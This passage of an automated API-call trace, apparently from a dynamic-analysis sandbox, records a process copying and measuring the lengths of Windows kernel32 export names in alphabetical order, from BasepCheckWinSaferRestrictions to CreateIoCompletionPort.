lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0134.686] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0134.686] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0134.686] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0134.686] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0134.686] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0134.686] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0134.686] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0134.686] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0134.686] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0134.686] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0134.686] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0134.686] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0134.686] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0134.686] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0134.686] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0134.686] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0134.686] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0134.686] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0134.686] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0134.686] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0134.686] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0134.686] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0134.686] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0134.686] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0134.686] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0134.686] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0134.686] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0134.686] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0134.686] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0134.686] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0134.686] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0134.686] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0134.686] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0134.686] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0134.686] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0134.687] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0134.687] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0134.687] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0134.687] lstrlenA (lpString="BEEP") returned 4 [0134.687] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0134.687] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0134.687] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0134.687] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0134.687] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0134.687] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0134.687] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0134.687] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0134.687] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0134.687] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0134.687] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0134.687] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0134.687] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0134.687] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0134.687] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0134.687] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0134.687] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0134.687] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0134.687] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0134.687] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0134.687] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0134.687] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0134.687] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0134.687] lstrlenA (lpString="CANCELIO") returned 8 [0134.687] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0134.687] lstrlenA (lpString="CANCELIOEX") returned 10 [0134.687] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0134.687] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0134.687] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0134.687] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0134.687] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0134.687] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0134.687] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0134.687] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0134.687] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0134.688] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0134.688] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0134.688] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0134.688] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0134.688] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0134.688] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0134.688] lstrlenA (lpString="CHECKELEVATION") returned 14 [0134.688] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0134.688] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0134.688] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0134.688] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0134.688] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0134.688] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0134.688] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0134.688] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0134.688] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0134.688] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0134.688] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0134.688] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0134.688] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0134.688] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0134.688] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0134.688] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0134.688] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0134.688] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0134.688] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0134.688] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0134.688] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0134.688] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0134.688] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0134.688] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0134.688] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0134.688] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0134.688] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0134.688] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0134.688] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0134.688] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0134.688] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0134.688] lstrlenA (lpString="CLOSESTATE") returned 10 [0134.688] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0134.688] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0134.688] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0134.688] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0134.689] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0134.689] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0134.689] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0134.689] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0134.689] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0134.689] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0134.689] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0134.689] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0134.689] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0134.689] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0134.689] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0134.689] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0134.689] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0134.689] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0134.689] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0134.689] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0134.689] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0134.689] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0134.689] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0134.689] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0134.689] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0134.689] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0134.689] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0134.689] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0134.689] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0134.689] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0134.689] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0134.689] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0134.689] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0134.689] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0134.689] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0134.689] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0134.689] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0134.689] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0134.689] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0134.689] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0134.689] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0134.689] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0134.689] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0134.689] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0134.689] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0134.689] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0134.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0134.690] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0134.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0134.690] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0134.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0134.690] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0134.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0134.690] lstrlenA (lpString="COPYCONTEXT") returned 11 [0134.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0134.690] lstrlenA (lpString="COPYFILE2") returned 9 [0134.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0134.690] lstrlenA (lpString="COPYFILEA") returned 9 [0134.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0134.690] lstrlenA (lpString="COPYFILEEXA") returned 11 [0134.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0134.690] lstrlenA (lpString="COPYFILEEXW") returned 11 [0134.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0134.690] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0134.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0134.690] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0134.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0134.690] lstrlenA (lpString="COPYFILEW") returned 9 [0134.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0134.690] lstrlenA (lpString="COPYLZFILE") returned 10 [0134.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0134.690] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0134.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0134.690] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0134.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0134.690] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0134.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0134.690] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0134.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0134.690] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0134.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0134.690] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0134.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0134.690] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0134.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0134.690] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0134.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0134.691] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0134.691] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0134.691] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0134.691] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0134.691] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0134.691] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0134.691] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0134.691] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0134.691] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0134.691] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0134.691] lstrlenA (lpString="CREATEEVENTA") returned 12 [0134.691] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0134.691] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0134.691] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0134.691] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0134.691] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0134.691] lstrlenA (lpString="CREATEEVENTW") returned 12 [0134.691] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0134.691] lstrlenA (lpString="CREATEFIBER") returned 11 [0134.691] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0134.691] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0134.691] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0134.691] lstrlenA (lpString="CREATEFILE2") returned 11 [0134.691] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0134.691] lstrlenA (lpString="CREATEFILEA") returned 11 [0134.691] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0134.691] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0134.691] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0134.691] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0134.691] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0134.691] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0134.691] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0134.691] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0134.691] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0134.691] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0134.691] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0134.691] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0134.691] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0134.692] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0134.692] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0134.692] lstrlenA (lpString="CREATEFILEW") returned 11 [0134.692] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0134.692] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0134.692] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0134.692] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0134.692] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0134.692] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0134.692] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0134.692] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0134.692] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0134.692] lstrlenA 